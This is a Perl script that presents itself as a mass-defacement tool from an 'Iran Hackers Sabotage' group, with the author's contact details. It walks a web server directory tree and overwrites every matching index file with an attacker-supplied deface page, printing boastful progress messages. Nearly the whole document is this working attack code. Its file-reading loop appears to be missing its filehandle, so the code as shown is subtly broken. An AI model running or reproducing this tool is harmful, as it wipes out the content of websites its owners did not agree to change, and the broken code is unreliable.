#!/usr/local/bin/perl ################################## ABOUT ################################################### $VERSION="Version 0.1 by LorD"; $about = "\n\e[32m--== [ \e[31mIRAN HACKERS SABOATGE Tools for Mass Defacement $VERSION \e[32m] ==--\e[m\n". "\e[36mContact:\e[m\n". "\t \e[33m@\e[m\e[34mE-Mail\e[m: \e[36mlord\e[m\e[31m\@\e[m\e[36mihsteam.com\e[m\n". "\t \e[33m#\e[m\e[34mIRC: \e[36mIRC.Zirc.org\e[m - channel \e[33m#\e[m\e[32mIHS\e[m\n". "\n\e[31m=-=-=-=-=-=\e[m". "\n\e[36mInfo:\e[m\n". "\t\e[33m-d\e[m \e[31m=\e[m \e[33mDiretory that We Want be Massdeface\e[m\n". "\t\e[33m-f\e[m \e[31m=\e[m \e[33mfile name that u want to attack for mass deafce\e[m\n". "\t\e[33m-n\e[m \e[31m=\e[m \e[33mlocation of attacker deface page.\e[m\n". "\e[36mExemplo:\e[m\nperl $0.pl \e[33m-d\e[m /www \e[33m-f\e[m index. \e[33m-n\e[m /tmp/index.html\n". "\e[31m=-=-=-=-=-=\e[m\n"; ############################################################################################ use Getopt::Std; getopts('d:f:n:', \%args); if (defined($args{'d'})){$dir=$args{'d'};}else{$dir="";} if (defined($args{'f'})){$file=$args{'f'};}else{$file="";} if (defined($args{'n'})){$newfile=$args{'n'};}else{$newfile="";} print $about; $dirok="\e[33m[+]\e[m Ok, Diretory that wanna be Massdeface: \e[32m$dir\e[m"; $fileok="\e[33m[+]\e[m Ok, O file name for attack: \e[32m$file\e[m"; $newfileok="\e[33m[+]\e[m Ok, location of attacker index file: \e[32m$newfile\e[m"; if("$dir") { print "$dirok\n"; sleep(1); } else { exit(); } if("$file") { print "$fileok\n"; sleep(1); } else { print ""; exit(); } if("$newfile") { print "$newfileok\n"; sleep(1); } else { print ""; exit(); } printf "\e[33m[+]\e[m Start Defacing......\n"; my @troca; find($dir, sub { push(@troca, $_[0]) if ($_[0] =~ /$file/i) }); my $quantidade = scalar(@troca); if($quantidade<=0) { print "\e[31m[-]\e[m Erro: Nenhum Arquivo encontrado.\n";sleep(1); print "\e[31m[-]\e[m Coloque a extencao do arquivo.\n";sleep(1); print "\e[31m[-]\e[m Ou, Apenas arquivo. [Sem extencao].\n";sleep(1); exit(); } printf "\e[33m[+]\e[m Ok, found: \e[32m$quantidade\e[m files...\n";sleep(1); printf "\e[33m[+]\e[m Defacing index files.\n"; open(NEW, "< $newfile"); foreach $files(@troca) { open(FILE, "> $files"); while () { print FILE $_; } close(FILE); seek(NEW, 0, 0); } close(NEW); sleep(1); printf "\e[33m[+]\e[m hax0r3d Sucessfull!\n";sleep(1); printf "\e[33m[+]\e[m Total files that defaced: \e[32m$quantidade\e[m\n"; sub find { my ($path, $callback) = @_; $path = '/' unless $path; $path =~ s/^\/+/\//; $path =~ s/\/$//; my @files = list_dir($path); my @dirs; foreach my $file (@files) { my $filepath = $path.'/'.$file; &{$callback}($filepath); push(@dirs, $filepath) if (-d $filepath); } undef(@files); map { find($_, $callback) } @dirs; return(1); } sub list_dir { my ($dir, $dont_list_subdirs) = @_; opendir(DIR, $dir) || return(); my @files = readdir(DIR); closedir(DIR); @files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs); my @files = grep { $_ !~ /^(\.){1,2}$/ } @files; return(@files); }